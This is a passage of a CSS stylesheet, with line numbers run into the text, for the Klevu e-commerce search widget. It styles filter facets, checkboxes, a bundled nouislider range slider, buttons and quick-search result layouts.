.kuShowOpt a { 6784 color: #333; 6785 text-decoration: none 6786 } 6787 6788 .kuHideOpt a { 6789 color: #333; 6790 text-decoration: none 6791 } 6792 6793 .kuFilterDot { 6794 height: 5px; 6795 width: 5px; 6796 background-color: #333; 6797 border-radius: 50%; 6798 display: inline-block; 6799 margin: 2px 6800 } 6801 6802 .kuFilterIcon:before { 6803 content: ''; 6804 border: 2px solid #ddd; 6805 border-radius: 50%; 6806 margin: 0; 6807 margin-right: 6px; 6808 height: 18px; 6809 width: 18px; 6810 display: inline-block; 6811 color: #ddd; 6812 position: relative; 6813 -moz-box-sizing: border-box; 6814 -webkit-box-sizing: border-box; 6815 box-sizing: border-box; 6816 transition: background 200ms; 6817 -webkit-transition: background 200ms; 6818 -moz-transition: background 200ms; 6819 -webkit-transition: border-color 200ms; 6820 -moz-transition: border-color 200ms; 6821 transition: border-color 200ms 6822 } 6823 6824 .kuMulticheck .kuFilterIcon:before { 6825 content: ''; 6826 border: 1px solid #ddd; 6827 border-radius: 0; 6828 margin: 0; 6829 margin-right: 8px; 6830 height: 18px; 6831 width: 18px; 6832 display: inline-block; 6833 color: #ddd; 6834 position: relative 6835 } 6836 6837 .kuMulticheck .kuFilterNames ul li a:hover span.kuFilterIcon:before { 6838 background: #fff; 6839 border: 1px solid #333 6840 } 6841 6842 .kuMulticheck .kuFilterNames ul li a:hover span.kuFilterIcon:after { 6843 content: ''; 6844 position: absolute; 6845 width: 10px; 6846 height: 5px; 6847 background: transparent; 6848 top: 5px; 6849 left: 4px;
6850 border: 2px solid #333; 6851 border-top: 0; 6852 border-right: 0; 6853 border-radius: 0; 6854 -moz-box-sizing: border-box; 6855 -webkit-box-sizing: border-box; 6856 box-sizing: border-box; 6857 -webkit-transform: rotate(-45deg); 6858 -moz-transform: rotate(-45deg); 6859 -o-transform: rotate(-45deg); 6860 -ms-transform: rotate(-45deg); 6861 transform: rotate(-45deg) 6862 } 6863 6864 .kuMulticheck .kuFilterNames ul li.kuSelected span.kuFilterIcon:before { 6865 background: #fff; 6866 border: 1px solid #333 6867 } 6868 6869 .kuMulticheck .kuFilterNames ul li.kuSelected span.kuFilterIcon:after { 6870 content: ''; 6871 position: absolute; 6872 width: 10px; 6873 height: 5px; 6874 background: transparent; 6875 top: 4px; 6876 left: 4px; 6877 border: 2px solid #ddd; 6878 border-top: 0; 6879 border-right: 0; 6880 border-radius: 0; 6881 -moz-box-sizing: border-box; 6882 -webkit-box-sizing: border-box; 6883 box-sizing: border-box; 6884 -webkit-transform: rotate(-45deg); 6885 -moz-transform: rotate(-45deg); 6886 -o-transform: rotate(-45deg); 6887 -ms-transform: rotate(-45deg); 6888 transform: rotate(-45deg) 6889 } 6890 6891 .kuMulticheck .kuFilterNames ul li.kuSelected:hover span.kuFilterIcon:after { 6892 -moz-box-sizing: border-box; 6893 -webkit-box-sizing: border-box; 6894 box-sizing: border-box; 6895 border-color: #333 6896 } 6897 6898 .kuQuickSearchFacetedLayout .kuFilters, 6899 .kuSearchResultsPageContainer .kuFilters { 6900 padding: 10px 6901 } 6902 6903 .kuQuickSearchFacetedLayout .kuFilterBox .kuFilterNames ul li a span.kufacet-text, 6904 .kuSearchResultsPageContainer .kuFilterBox .kuFilterNames ul li a span.kufacet-text { 6905 max-width: 70%; 6906 width: 70% 6907 } 6908 6909 .kuQuickSearchFacetedLayout [data-block-id="ku_quick_left_facets"] { 6910 background-color: #fff; 6911 overflow: auto; 6912 max-height: 400px; 6913 text-align: left 6914 } 6915 6916 .kuQuickSearchFacetedLayout [data-block-id="ku_quick_right_facets"] { 6917 background-color: #fff; 6918 overflow: auto; 6919 max-height: 400px; 6920 text-align: left 6921 } 6922 6923 .kuFilterBox { 6924 margin-bottom: 12px; 6925 background: 0; 6926 padding-bottom: 12px; 6927 position: relative 6928 } 6929 6930 .kuFilterBox .kuFilterHead { 6931 padding: 5px 0; 6932 color: #333; 6933 display: block; 6934 text-transform: uppercase; 6935 border-bottom: 1px solid #ddd; 6936 background: 0; 6937 margin-bottom: 0 6938 } 6939 6940 .kuFilterBox .kuFilterNames { 6941 height: 125px; 6942 overflow: hidden 6943 } 6944 6945 .kuFilterBox .kuFilterNames ul { 6946 margin: 0; 6947 padding: 0 6948 } 6949 6950 .kuFilterBox .kuFilterNames ul li { 6951 list-style: none; 6952 text-align: left; 6953 width: 100%; 6954 display: inline-block; 6955 margin: 0; 6956 padding: 0 6957 } 6958 6959 .kuFilterBox .kuFilterNames ul li a { 6960 display: block; 6961 position: relative; 6962 overflow: hidden; 6963 padding: 0; 6964 text-decoration: none; 6965 cursor: pointer; 6966 color: #333; 6967 background: 0; 6968 margin: 2px 5px 2px 0 6969 } 6970 6971 .kuFilterBox .kuFilterNames ul li a span { 6972 display: inline-block; 6973 vertical-align: middle 6974 } 6975 6976 .kuFilterBox .kuFilterNames ul li a span.kufacet-text { 6977 max-width: 75%; 6978 width: 75%; 6979 overflow: hidden; 6980 white-space: nowrap; 6981 text-overflow: ellipsis; 6982 float: left 6983 } 6984 6985 .kuFilterBox .kuFilterNames ul li a span.kuFilterIcon { 6986 float: left; 6987 margin: 0; 6988 padding: 0; 6989 font-weight: normal 6990 } 6991 6992 .kuFilterBox .kuFilterNames ul li a:hover span.kuFilterIcon:before { 6993 background: #fff 6994 } 6995 6996 .kuFilterBox .kuFilterNames ul li a:hover span.kuFilterIcon:after { 6997 content: ""; 6998 position: absolute; 6999 width: 8px; 7000 height: 8px; 7001 top: 5px; 7002 left: 5px; 7003 border: 0; 7004 margin-top: 0; 7005 margin-left: 0; 7006 -webkit-transform: rotate(-45deg); 7007 -moz-transform: rotate(-45deg); 7008 -o-transform: rotate(-45deg); 7009 -ms-transform: rotate(-45deg); 7010 transform: rotate(-45deg); 7011 border-radius: 50%; 7012 background: #ddd 7013 } 7014 7015 .kuFilterBox .kuFilterNames ul li.kuSelected a { 7016 color: #333 7017 } 7018 7019 .kuFilterBox .kuFilterNames ul li.kuSelected span.kuFilterIcon:before { 7020 background: #fff 7021 } 7022 7023 .kuFilterBox .kuFilterNames ul li.kuSelected span.kuFilterIcon:after { 7024 content: ""; 7025 position: absolute; 7026 width: 8px; 7027 height: 8px; 7028 top: 5px; 7029 left: 5px; 7030 border: 0; 7031 margin-top: 0;
7032 margin-left: 0; 7033 -webkit-transform: rotate(-45deg); 7034 -moz-transform: rotate(-45deg); 7035 -o-transform: rotate(-45deg); 7036 -ms-transform: rotate(-45deg); 7037 transform: rotate(-45deg); 7038 border-radius: 50%; 7039 background: #ddd; 7040 border-color: #333 !important 7041 } 7042 7043 .kuFilterBox .kuFilterNames ul li.kuSelected:hover span.kuFilterIcon:after { 7044 -moz-box-sizing: border-box; 7045 -webkit-box-sizing: border-box; 7046 box-sizing: border-box; 7047 border-color: #333 7048 } 7049 7050 .kuFilterBox .kuFilterNames.sliderFilterNames { 7051 height: 90px 7052 } 7053 7054 .kuFilterBox .kuFilterIcon:before { 7055 content: ""; 7056 border: 2px solid #ccc; 7057 border-radius: 50%; 7058 margin: 0; 7059 margin-right: 8px; 7060 height: 18px; 7061 width: 18px; 7062 display: inline-block; 7063 color: #ccc; 7064 position: relative; 7065 -moz-box-sizing: border-box; 7066 -webkit-box-sizing: border-box; 7067 box-sizing: border-box; 7068 transition: background 200ms; 7069 -webkit-transition: background 200ms; 7070 -moz-transition: background 200ms; 7071 -webkit-transition: border-color 200ms; 7072 -moz-transition: border-color 200ms; 7073 transition: border-color 200ms 7074 } 7075 7076 .kuFilterBox .kuFilterNames.kuFilterCollapse { 7077 height: 0; 7078 overflow: hidden 7079 } 7080 7081 .kuFilterBox .kuFilterNames.kuFilterCollapse .kuShowOpt { 7082 display: none 7083 } 7084 7085 .kuFilterBox .kuFilterNames.kuFilterShowAll { 7086 height: auto; 7087 overflow: unset 7088 } 7089 7090 .kuFilterBox .kuShowOpt { 7091 padding: 0; 7092 cursor: pointer; 7093 position: absolute; 7094 bottom: -12px 7095 } 7096 7097 .kuFilterBox .kuShowOpt a { 7098 color: #4d7abf; 7099 text-decoration: none 7100 } 7101 7102 .kuFilterBox .kuShowOpt .kuFilterDot { 7103 height: 5px; 7104 width: 5px; 7105 background-color: #888; 7106 border-radius: 50%; 7107 display: inline-block; 7108 margin: 2px 7109 } 7110 7111 .kuFilterBox .kuExpand { 7112 position: relative !important; 7113 transition: all .3s ease 7114 } 7115 7116 .kuFilterBox .kuCollapse { 7117 position: relative !important; 7118 transition: all .3s ease 7119 } 7120 7121 .kuFilterBox .kuFilterHead.kuCollapse { 7122 margin-bottom: 10px 7123 } 7124 7125 .kuFilterBox .kuFilterHead.kuCollapse::after { 7126 border-color: #333; 7127 border-image: none; 7128 border-style: solid; 7129 border-width: 0 1px 1px 0; 7130 content: ""; 7131 display: inline-block; 7132 padding: 4px; 7133 position: absolute; 7134 right: 12px; 7135 top: 14px; 7136 -webkit-transform: rotate(-135deg); 7137 -moz-transform: rotate(-135deg); 7138 -o-transform: rotate(-135deg); 7139 -ms-transform: rotate(-135deg); 7140 transform: rotate(-135deg); 7141 transition: all .3s ease 7142 } 7143 7144 .kuFilterBox .kuFilterHead.kuExpand::after { 7145 -moz-border-bottom-colors: none; 7146 -moz-border-left-colors: none; 7147 -moz-border-right-colors: none; 7148 -moz-border-top-colors: none; 7149 border-color: #333; 7150 border-image: none; 7151 border-style: solid; 7152 border-width: 0 1px 1px 0; 7153 content: ""; 7154 display: inline-block; 7155 padding: 4px; 7156 position: absolute; 7157 right: 12px; 7158 top: 10px; 7159 -webkit-transform: rotate(45deg); 7160 -moz-transform: rotate(45deg); 7161 -o-transform: rotate(45deg); 7162 -ms-transform: rotate(45deg); 7163 transform: rotate(45deg); 7164 transition: all .3s ease 0s 7165 } 7166 7167 .kuFilterBox.kuMulticheck .kuFilterIcon:before { 7168 content: ""; 7169 border: 1px solid #ccc; 7170 border-radius: 0 7171 } 7172 7173 .kuFilterBox.kuMulticheck .kuFilterNames ul li a:hover span.kuFilterIcon:after { 7174 width: 10px; 7175 height: 5px; 7176 background: transparent; 7177 top: 4px; 7178 left: 4px; 7179 border: 2px solid #ddd; 7180 border-top: 0; 7181 border-right: 0; 7182 border-radius: 0 7183 } 7184 7185 .kuFilterBox.kuMulticheck .kuFilterNames ul li a:hover span.kuFilterIcon:before { 7186 background: #fff; 7187 border: 1px solid #333 7188 } 7189 7190 .kuFilterBox.kuMulticheck .kuFilterNames ul li.kuSelected span.kuFilterIcon:after { 7191 width: 10px; 7192 height: 5px; 7193 background: transparent; 7194 top: 4px; 7195 left: 4px;
7196 border: 2px solid #ddd; 7197 border-top: 0; 7198 border-right: 0; 7199 border-radius: 0 7200 } 7201 7202 .kuFilterBox.kuMulticheck .kuFilterNames ul li.kuSelected span.kuFilterIcon:before { 7203 background: #fff; 7204 border: 1px solid #333 7205 } 7206 7207 .kuFilterBox.kuMulticheck .kuFilterNames ul li.kuSelected:hover span.kuFilterIcon:after { 7208 border-color: #333 7209 } 7210 7211 /*! nouislider - 8.2.1 - 2015-12-02 21:43:15 */ 7212 .noUi-target, 7213 .noUi-target * { 7214 -webkit-touch-callout: none; 7215 -webkit-user-select: none; 7216 -ms-touch-action: none; 7217 touch-action: none; 7218 -ms-user-select: none; 7219 -moz-user-select: none; 7220 -moz-box-sizing: border-box; 7221 box-sizing: border-box 7222 } 7223 7224 .noUi-target { 7225 position: relative; 7226 direction: ltr 7227 } 7228 7229 .noUi-base { 7230 width: 100%; 7231 height: 100%; 7232 position: relative; 7233 z-index: 1 7234 } 7235 7236 .noUi-origin { 7237 position: absolute; 7238 right: 0; 7239 top: 0; 7240 left: 0; 7241 bottom: 0 7242 } 7243 7244 .noUi-handle { 7245 position: relative; 7246 z-index: 1 7247 } 7248 7249 .noUi-stacking .noUi-handle { 7250 z-index: 10 7251 } 7252 7253 .noUi-state-tap .noUi-origin { 7254 -webkit-transition: left .3s, top .3s; 7255 transition: left .3s, top .3s 7256 } 7257 7258 .noUi-state-drag * { 7259 cursor: inherit !important 7260 } 7261 7262 .noUi-base { 7263 -webkit-transform: translate3d(0, 0, 0); 7264 transform: translate3d(0, 0, 0) 7265 } 7266 7267 .noUi-horizontal { 7268 height: 12px 7269 } 7270 7271 .noUi-horizontal .noUi-handle { 7272 width: 24px; 7273 height: 24px; 7274 left: -17px; 7275 top: -7px; 7276 border-radius: 100% 7277 } 7278 7279 .noUi-vertical { 7280 width: 18px 7281 } 7282 7283 .noUi-vertical .noUi-handle { 7284 width: 28px; 7285 height: 34px; 7286 left: -6px; 7287 top: -17px 7288 } 7289 7290 .noUi-background { 7291 background: #fafafa; 7292 box-shadow: inset 0 1px 1px #f0f0f0 7293 } 7294 7295 .noUi-connect { 7296 background: #333; 7297 box-shadow: inset 0 0 3px rgba(51, 51, 51, 0.45); 7298 -webkit-transition: background 450ms; 7299 transition: background 450ms 7300 } 7301 7302 .noUi-origin { 7303 border-radius: 2px 7304 } 7305 7306 .noUi-target { 7307 border-radius: 4px; 7308 border: 1px solid #d3d3d3; 7309 box-shadow: inset 0 1px 1px #f0f0f0, 0 3px 6px -5px #bbb 7310 } 7311 7312 .noUi-target.noUi-connect { 7313 box-shadow: inset 0 0 3px rgba(51, 51, 51, 0.45), 0 3px 6px -5px #bbb 7314 } 7315 7316 .noUi-draggable { 7317 cursor: w-resize 7318 } 7319 7320 .noUi-vertical .noUi-draggable { 7321 cursor: n-resize 7322 } 7323 7324 .noUi-handle { 7325 border: 1px solid #d9d9d9; 7326 background: #fff; 7327 cursor: default; 7328 box-shadow: inset 0 0 1px #fff, inset 0 1px 7px #ebebeb, 0 3px 6px -3px #bbb; 7329 cursor: pointer 7330 } 7331 7332 .noUi-active { 7333 box-shadow: inset 0 0 1px #fff, inset 0 1px 7px #ddd, 0 3px 6px -3px #bbb 7334 } 7335 7336 .noUi-handle:after, 7337 .noUi-handle:before { 7338 content: ""; 7339 display: block; 7340 position: absolute; 7341 height: 14px; 7342 width: 1px; 7343 background: #e4e1e1; 7344 left: 8px; 7345 top: 4px 7346 } 7347 7348 .noUi-handle:after { 7349 left: 12px 7350 } 7351 7352 .noUi-vertical .noUi-handle:after, 7353 .noUi-vertical .noUi-handle:before { 7354 width: 14px; 7355 height: 1px; 7356 left: 6px; 7357 top: 14px 7358 } 7359 7360 .noUi-vertical .noUi-handle:after { 7361 top: 17px 7362 } 7363 7364 [disabled] .noUi-connect, 7365 [disabled].noUi-connect { 7366 background: #b8b8b8 7367 } 7368 7369 [disabled] .noUi-handle, 7370 [disabled].noUi-origin { 7371 cursor: not-allowed 7372 } 7373 7374 .noUi-pips, 7375 .noUi-pips * { 7376 -moz-box-sizing: border-box; 7377 box-sizing: border-box 7378 } 7379 7380 .noUi-pips { 7381 position: absolute; 7382 color: #999 7383 } 7384 7385 .noUi-value { 7386 width: 40px; 7387 position: absolute; 7388 text-align: center 7389 } 7390 7391 .noUi-value-sub { 7392 color: #ccc; 7393 font-size: 10px 7394 } 7395 7396 .noUi-marker { 7397 position: absolute; 7398 background: #ccc 7399 } 7400 7401 .noUi-marker-large, 7402 .noUi-marker-sub { 7403 background: #aaa 7404 } 7405 7406 .noUi-pips-horizontal { 7407 padding: 10px 0; 7408 height: 50px; 7409 top: 100%; 7410 left: 0; 7411 width: 100% 7412 } 7413 7414 .noUi-value-horizontal { 7415 margin-left: -20px; 7416 padding-top: 20px 7417 } 7418 7419 .noUi-value-horizontal.noUi-value-sub { 7420 padding-top: 15px 7421 } 7422 7423 .noUi-marker-horizontal.noUi-marker { 7424 margin-left: -1px; 7425 width: 2px; 7426 height: 5px 7427 } 7428 7429 .noUi-marker-horizontal.noUi-marker-sub { 7430 height: 10px 7431 } 7432 7433 .noUi-marker-horizontal.noUi-marker-large { 7434 height: 15px 7435 } 7436 7437 .noUi-pips-vertical { 7438 padding: 0 10px; 7439 height: 100%; 7440 top: 0; 7441 left: 100% 7442 } 7443 7444 .noUi-value-vertical { 7445 width: 15px; 7446 margin-left: 20px; 7447 margin-top: -5px 7448 } 7449 7450 .noUi-marker-vertical.noUi-marker { 7451 width: 5px; 7452 height: 2px;
7453 margin-top: -1px 7454 } 7455 7456 .noUi-marker-vertical.noUi-marker-sub { 7457 width: 10px 7458 } 7459 7460 .noUi-marker-vertical.noUi-marker-large { 7461 width: 15px 7462 } 7463 7464 .noUi-tooltip { 7465 display: block; 7466 position: absolute; 7467 border: 1px solid #d9d9d9; 7468 border-radius: 3px; 7469 background: #fff; 7470 padding: 5px; 7471 text-align: center; 7472 width: max-content 7473 } 7474 7475 .noUi-horizontal .noUi-handle-lower .noUi-tooltip { 7476 bottom: -32px 7477 } 7478 7479 .noUi-horizontal .noUi-handle-upper .noUi-tooltip { 7480 bottom: -32px; 7481 right: 0 7482 } 7483 7484 .noUi-vertical .noUi-handle-lower .noUi-tooltip { 7485 left: 120% 7486 } 7487 7488 .noUi-vertical .noUi-handle-upper .noUi-tooltip { 7489 right: 120% 7490 } 7491 7492 .klevu-fluid, 7493 .klevu-fluid *, 7494 .klevuTarget, 7495 .klevuTarget *, 7496 .kuContainer * { 7497 font-family: inherit 7498 } 7499 7500 [ku-container] a, 7501 [ku-container] p, 7502 [ku-container] div, 7503 [ku-container] ul li { 7504 font-family: inherit; 7505 font-size: 13px; 7506 line-height: 130%; 7507 text-decoration: none; 7508 font-weight: normal 7509 } 7510 7511 [ku-container] * { 7512 -webkit-box-sizing: border-box; 7513 -moz-box-sizing: border-box; 7514 box-sizing: border-box; 7515 outline: 0; 7516 -webkit-font-smoothing: antialiased; 7517 vertical-align: top 7518 } 7519 7520 .kuClearLeft { 7521 clear: left 7522 } 7523 7524 .kuClearRight { 7525 clear: right 7526 } 7527 7528 .kuClearBoth, 7529 .kuClearBoth:after { 7530 clear: both 7531 } 7532 7533 .kuGreen { 7534 color: #009b46 !important 7535 } 7536 7537 .kuBlack { 7538 color: #333 !important 7539 } 7540 7541 .kuClipped { 7542 overflow: hidden; 7543 display: -webkit-box; 7544 -webkit-box-orient: vertical 7545 } 7546 7547 .kuClippedOne { 7548 overflow: hidden; 7549 display: -webkit-box; 7550 -webkit-box-orient: vertical; 7551 -webkit-line-clamp: 1 7552 } 7553 7554 .kuClippedTwo { 7555 overflow: hidden; 7556 display: -webkit-box; 7557 -webkit-box-orient: vertical; 7558 -webkit-line-clamp: 2 7559 } 7560 7561 .klevuTarget * { 7562 box-sizing: border-box 7563 } 7564 7565 .kuBtn { 7566 display: inline-block; 7567 padding: 5px 10px; 7568 cursor: pointer; 7569 font-size: 11px !important; 7570 text-transform: uppercase; 7571 text-decoration: none; 7572 margin: 5px 5px 5px 0; 7573 border-radius: 3px; 7574 border: 2px solid transparent; 7575 text-align: center 7576 } 7577 7578 .kuBtnDark { 7579 background: #333; 7580 color: #fff; 7581 border-color: #333 7582 } 7583 7584 .kuBtnLight { 7585 background: #ddd; 7586 color: #333; 7587 border-color: #dedede 7588 } 7589 7590 .kuBtnDarkOutline { 7591 background: transparent; 7592 color: #333; 7593 border: 2px solid #333 7594 } 7595 7596 .kuBtnLightOutline { 7597 background: transparent; 7598 color: #ddd; 7599 border: 2px solid #ddd 7600 } 7601 7602 .kuBtnDark:hover, 7603 .kuBtnLight:hover, 7604 .kuBtnDarkOutline:hover, 7605 .kuBtnLightOutline:hover { 7606 background: #757575; 7607 color: #fff; 7608 border-color: #757575 7609 } 7610 7611 .klevuTarget.klevu-fluid>div { 7612 position: absolute; 7613 z-index: 20000000000; 7614 width: 35%; 7615 max-width: 450px; 7616 font-family: inherit; 7617 font-size: 13px; 7618 background-color: #fff; 7619 border-radius: 3px; 7620 color: #333 7621 } 7622 7623 .kuBase { 7624 margin: 0; 7625 padding: 0; 7626 border: 0; 7627 box-sizing: border-box; 7628 box-shadow: none; 7629 position: relative; 7630 max-width: 100% 7631 } 7632 7633 [ku-container], 7634 [ku-block] { 7635 margin: 0; 7636 padding: 0; 7637 border: 0; 7638 box-sizing: border-box; 7639 box-shadow: none; 7640 position: relative; 7641 max-width: 100% 7642 } 7643 7644 [ku-container][data-container-role="main"] { 7645 margin: 0; 7646 padding: 0; 7647 border: 0; 7648 box-sizing: border-box; 7649 box-shadow: none; 7650 position: relative; 7651 max-width: 100%; 7652 width: 1200px; 7653 margin: 0 auto 7654 } 7655 7656 [ku-container][data-container-role="header"] { 7657 margin: 0; 7658 padding: 0; 7659 border: 0; 7660 box-sizing: border-box; 7661 box-shadow: none; 7662 position: relative; 7663 max-width: 100% 7664 } 7665 7666 [ku-container][data-container-role="header"] [ku-block][data-container-role="subPanel"] { 7667 margin: 0; 7668 padding: 0; 7669 border: 0; 7670 box-sizing: border-box; 7671 box-shadow: none; 7672 position: relative; 7673 max-width: 100% 7674 } 7675 7676 [ku-container][data-container-role="header"] [ku-block][data-container-role="banner"] { 7677 margin: 0; 7678 padding: 0; 7679 border: 0; 7680 box-sizing: border-box; 7681 box-shadow: none; 7682 position: relative; 7683 max-width: 100% 7684 } 7685 7686 [ku-container][data-container-role="header"] [ku-block][data-container-role="navigation"] { 7687 margin: 0; 7688 padding: 0; 7689 border: 0; 7690 box-sizing: border-box; 7691 box-shadow: none; 7692 position: relative; 7693 max-width: 100% 7694 } 7695 7696 .kuResultContent { 7697 margin: 0; 7698 padding: 0; 7699 border: 0; 7700 box-sizing: border-box; 7701 box-shadow: none; 7702 position: relative; 7703 max-width: 100% 7704 } 7705 7706 .kuResultContent [ku-container]:empty { 7707 display: none !important; 7708 width: 0 !important; 7709 padding: 0; 7710 margin: 0; 7711 overflow: hidden 7712 } 7713 7714 [ku-container][data-container-role="content"] { 7715 margin: 0; 7716 padding: 0; 7717 border: 0; 7718 box-sizing: border-box; 7719 box-shadow: none; 7720 position: relative; 7721 max-width: 100%; 7722 display: table; 7723 width: 100% 7724 } 7725 7726 [ku-container][data-container-role="content"] [ku-block]:empty { 7727 display: none !important; 7728 width: 0 !important; 7729 padding: 0; 7730 margin: 0; 7731 overflow: hidden 7732 } 7733 7734 [ku-block][ku-empty], 7735 [ku-container][ku-empty] { 7736 display: none !important; 7737 width: 0 !important; 7738 padding: 0 !important; 7739 height: 0 !important; 7740 margin: 0 !important; 7741 overflow: hidden !important 7742 } 7743 7744 .klevuQuickSearchingArea { 7745 width: 100%; 7746 max-width: 100%; 7747 border-radius: 2px; 7748 -webkit-box-shadow: 0 1px 5px rgba(50, 50, 50, 0.4); 7749 -moz-box-shadow: 0 1px 5px rgba(50, 50, 50, 0.4); 7750 box-shadow: 0 1px 5px rgba(50, 50, 50, 0.4) 7751 } 7752 7753 .klevuQuickSearchingArea .klevuLoader img { 7754 display: inline-block; 7755 width: 22px !important 7756 } 7757 7758 .klevuQuickSearchingArea span.klevuLoader img { 7759 margin-right: 10px 7760 } 7761 7762 .klevuQuickSearchingArea .kuFacetedLayoutMinCharText { 7763 padding: 10px; 7764 line-height: 35px 7765 } 7766 7767 .klevuSuggestionsBlock { 7768 position: relative 7769 } 7770 7771 .klevuSuggestionsBlock .klevuLoader { 7772 position: absolute; 7773 top: 0; 7774 right: 0; 7775 display: inline-block; 7776 padding: 6px 10px 7777 } 7778 7779 .klevuSuggestionHeading { 7780 text-transform: uppercase; 7781 padding: 10px 5px 7782 } 7783 7784 .klevuHeadingText { 7785 color: #333; 7786 display: inline-block 7787 } 7788 7789 .klevuHeadingText a { 7790 float: right; 7791 margin-right: 10px; 7792 color: #333; 7793 font-weight: normal; 7794 text-decoration: none 7795 } 7796 7797 .klevuHeadingText a:hover { 7798 text-decoration: underline 7799 } 7800 7801 .klevuAutoSuggestionsWrap { 7802 border-bottom: 1px solid #ddd; 7803 padding: 5px 10px 7804 } 7805 7806 .klevuAutoSuggestionsWrap ul { 7807 margin: 0; 7808 padding: 0; 7809 text-align: left 7810 } 7811 7812 .klevuAutoSuggestionsWrap ul li { 7813 display: block; 7814 list-style: none; 7815 margin: 0; 7816 cursor: default; 7817 text-align: left 7818 } 7819 7820 .klevuAutoSuggestionsWrap ul li a { 7821 display: block; 7822 padding: 5px; 7823 line-height: 14px; 7824 color: #333; 7825 text-decoration: none; 7826 font-size: 13px 7827 } 7828 7829 .klevuAutoSuggestionsWrap ul li:hover { 7830 background-color: #f5f5f5 7831 } 7832 7833 .klevuAutoSuggestionsWrap ul li:focus { 7834 background-color: #f5f5f5 7835 } 7836 7837 .klevuAutoSuggestionsWrap ul li ul li a { 7838 padding-left: 35px 7839 } 7840 7841 .klevuAutoSuggestionsWrap ul li strong { 7842 color: #333 7843 } 7844 7845 .klevuAutoSuggestionsWrap ul li.klevu-hovered { 7846 background-color: #f5f5f5 7847 } 7848 7849 .klevuResultsBlock .klevuSuggestionHeading { 7850 padding: 12px 15px 7851 } 7852 7853 .klevuResultsBlock .klevuProductsViewAll { 7854 display: inline-block; 7855 position: absolute; 7856 top: 12px; 7857 right: 12px 7858 } 7859 7860 .klevuResultsBlock .klevuProductsViewAll a { 7861 color: #333; 7862 font-weight: normal; 7863 text-decoration: none; 7864 text-transform: uppercase; 7865 font-size: 10px; 7866 cursor: pointer; 7867 border-bottom: 2px solid #ccc; 7868 padding: 2px 0 7869 } 7870 7871 .klevuResultsBlock .klevuQuickSearchResults { 7872 position: relative; 7873 margin: 0; 7874 padding: 0; 7875 box-sizing: border-box 7876 } 7877 7878 .klevuResultsBlock .klevuQuickSearchResults ul { 7879 margin: 0; 7880 padding-left: 0; 7881 text-align: left 7882 } 7883 7884 .klevuResultsBlock .klevuQuickSearchResults ul li { 7885 display: block; 7886 width: 100%; 7887 height: auto; 7888 text-align: left; 7889 position: relative; 7890 border-bottom: 1px solid #ddd; 7891 margin-bottom: auto 7892 } 7893 7894 .klevuResultsBlock .klevuQuickSearchResults ul li a.klevuQuickProductInnerBlock { 7895 text-decoration: none; 7896 color: #333; 7897 outline: 0; 7898 display: block; 7899 padding: 8px; 7900 height: auto; 7901 line-height: 20px 7902 } 7903 7904 .klevuResultsBlock .klevuQuickSearchResults ul li .klevuQuickProductDescBlock { 7905 float: left; 7906 width: 100%; 7907 margin-left: 8px 7908 } 7909 7910 .klevuResultsBlock .klevuQuickSearchResults ul li .klevuQuickProductName { 7911 font-weight: bold; 7912 color: #333; 7913 word-wrap: break-word 7914 } 7915 7916 .klevuResultsBlock .klevuQuickSearchResults ul li .klevuQuickPriceGreyText { 7917 font-weight: normal !important; 7918 color: #393939 !important; 7919 font-size: 11px !important 7920 } 7921 7922 .klevuResultsBlock .klevuQuickSearchResults ul li .klevuQuickProductDesc { 7923 color: #333 7924 } 7925 7926 .klevuResultsBlock .klevuQuickSearchResults ul li .klevuQuickSalePrice { 7927 font-weight: bold; 7928 margin-bottom: 5px; 7929 color: #333 7930 } 7931 7932 .klevuResultsBlock .klevuQuickSearchResults ul li .klevuQuickOrigPrice { 7933 margin-right: 5px; 7934 text-decoration: line-through; 7935 color: #333 7936 } 7937 7938 .klevuResultsBlock .klevuQuickSearchResults ul li:hover { 7939 background-color: #f5f5f5 7940 } 7941 7942 .klevuResultsBlock .klevuQuickSearchResults ul li:hover .klevuQuickSearchResults ul li div { 7943 color: #fff !important 7944 } 7945 7946 .klevuResultsBlock .klevuQuickSearchResults ul li:focus { 7947 background-color: #f5f5f5 7948 } 7949 7950 .klevuResultsBlock .klevuQuickSearchResults ul li:focus .klevuQuickSearchResults ul li div { 7951 color: #fff !important 7952 } 7953 7954 .klevuResultsBlock .klevuQuickSearchResults .klevuProductItemTop { 7955 margin: 0; 7956 box-sizing: border-box; 7957 float: left; 7958 padding: 5px; 7959 position: relative; 7960 width: 20% 7961 } 7962 7963 .klevuResultsBlock .klevuQuickSearchResults .klevuProductItemBottom { 7964 margin: 0; 7965 box-sizing: border-box; 7966 padding: 5px; 7967 position: relative; 7968 min-height: 60px; 7969 float: left; 7970 width: 80% 7971 } 7972 7973 .klevuResultsBlock .klevuQuickSearchResults .klevuProductItemBottom .klevu-desc-l2 { 7974 color: #8a8a8a; 7975 font-size: 13px 7976 } 7977 7978 .klevuResultsBlock .klevuQuickSearchResults .klevuQuickImgWrap { 7979 float: none; 7980 overflow: hidden; 7981 width: 100% !important; 7982 height: 70px !important; 7983 text-align: center 7984 } 7985 7986 .klevuResultsBlock .klevuQuickSearchResults img { 7987 max-width: 100% !important; 7988 max-height: 100% !important; 7989 width: auto; 7990 height: auto; 7991 border: 0; 7992 outline: 0; 7993 display: inline-block; 7994 margin: 0 auto; 7995 opacity: 1 7996 } 7997 7998 .klevuResultsBlock .klevuQuickSearchResults .klevuQuickDiscountBadge { 7999 background: #ffcc01; 8000 padding: 0 5px; 8001 color: #333; 8002 font-size: 9px; 8003 position: absolute; 8004 top: 6px; 8005 left: 4px 8006 } 8007 8008 .klevuResultsBlock .klevuQuickSearchResults .klevuQuickDiscountBadge strong { 8009 color: #333 8010 } 8011 8012 .klevuResultsBlock .klevuQuickNoResults { 8013 text-align: center; 8014 font-size: 13px; 8015 padding: 0 8016 } 8017 8018 .klevuResultsBlock .klevuQuickNoResults .klevuQuickNoResultsInner { 8019 padding: 15px; 8020 margin: 0 8021 } 8022 8023 .klevuResultsBlock .klevuQuickNoResultsMessage { 8024 background: transparent; 8025 font-size: 13px; 8026 padding: 20px; 8027 text-align: center; 8028 border: 0 8029 } 8030 8031 @media only screen and (max-width:1024px) { 8032 .klevuTarget.klevu-fluid>div { 8033 width: 50% 8034 } 8035 8036 .klevuQuickSearchResults .klevuQuickImgWrap { 8037 height: 55px !important 8038 } 8039 } 8040 8041 @media only screen and (max-width:767px) { 8042 .klevuTarget.klevu-fluid>div { 8043 max-width: 400px; 8044 width: 70% 8045 } 8046 } 8047 8048 @media only screen and (max-width:480px) { 8049 .klevuTarget.klevu-fluid>div { 8050 width: 98%; 8051 left: 1% !important 8052 } 8053 8054 .klevu-fluid .klevuQuickSearchResults ul li 